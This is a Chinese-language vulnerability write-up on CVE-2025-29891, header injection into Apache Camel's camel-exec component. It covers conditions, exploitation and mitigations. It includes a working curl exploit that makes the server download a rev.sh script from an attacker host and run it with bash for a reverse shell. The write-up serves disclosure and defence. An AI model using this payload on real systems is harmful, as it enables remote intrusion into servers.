Apache Camel CVE-2025-29891漏洞:通过CAmelExecCommandArgs头注入实现远程代码执行

本文详细分析了CVE-2025-29891漏洞,该漏洞存在于Apache Camel的HTTP端点中,攻击者可通过CAmelExecCommandExecutable和CAmelExecCommandArgs头注入实现任意命令执行,文章包含技术细节、利用条件和缓解措施。

CVE-2025-29891 – Apache Camel通过CAmelExecCommandArgs头注入的漏洞利用

概述

CVE-2025-29891是Apache Camel HTTP端点配置不当导致的远程命令注入漏洞。该漏洞源于不安全地使用CAmelExecCommandExecutable和CAmelExecCommandArgs头,可被利用执行任意命令。影响系统为攻击者可交互HTTP暴露的Camel路由,尤其在安全加固薄弱或缺失时。类似漏洞此前已在OffSec博客文章CVE-2025-27636中详细说明。

  • CVE ID: CVE-2025-29891
  • 严重性: 中等
  • CVSS 分数: 4.8
  • EPSS 分数: 0.24%
  • 影响: 远程代码执行
  • 攻击向量: 网络
  • 需认证: 否
  • 脆弱组件: Apache Camel中的camel-exec路由

技术分析

Apache Camel支持通过头执行路由。当使用camel-exec组件时,允许通过设置以下HTTP请求执行系统命令:

  • CAmelExecCommandExecutable – 要运行的二进制文件(例如curl、bash)
  • CAmelExecCommandArgs – 传递给二进制文件的参数

如果系统暴露使用camel-exec组件的HTTP端点且未过滤或验证这些头,攻击者可利用它们在主机系统上执行任意命令。

利用条件

  • Apache Camel实例必须暴露使用camel-exec的HTTP端点。
  • 攻击者必须能够向端点发送精心构造的HTTP请求。
  • 头CAmelExecCommandExecutable和CAmelExecCommandArgs必须未被过滤或清理。

漏洞利用

通过HTTP暴露此逻辑的路由配置错误可被武器化以远程发出命令。当与Web可访问端点(如/api/system-version)结合时,此行为变得关键。

例如,一个简单的sleep命令:

1
2
3
curl --header "CAmelExecCommandExecutable: sleep" \
     --header "CAmelExecCommandArgs: 5" \
     http://192.168.56.80:8080/api/system-version

或用于反向shell的完整远程命令执行:

1
2
3
curl --header "CAmelExecCommandExecutable: curl" \
     --header "CAmelExecCommandArgs: 192.168.18.5:3333/rev.sh -o /tmp/rev.sh | bash /tmp/rev.sh" \
     http://192.168.56.80:8080/api/system-version

头被解释并在主机上直接执行,如果服务器允许出站连接,则启用完整shell访问。

动手尝试:您可以通过OffSec的CVE-2025-29891实验室在受控环境中尝试利用此漏洞。

缓解措施

  • 不要在公开可访问端点上暴露camel-exec路由。
  • 在调用命令执行之前验证和清理头和输入。
  • 在敏感路由周围使用适当的认证和授权。
  • 除非绝对需要,考虑禁用或移除camel-exec组件。
  • 如果此CVE发布了修补版本,升级Apache Camel至修补版本。
  • 限制服务器的出站访问以防止反向shell或外部负载获取。

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计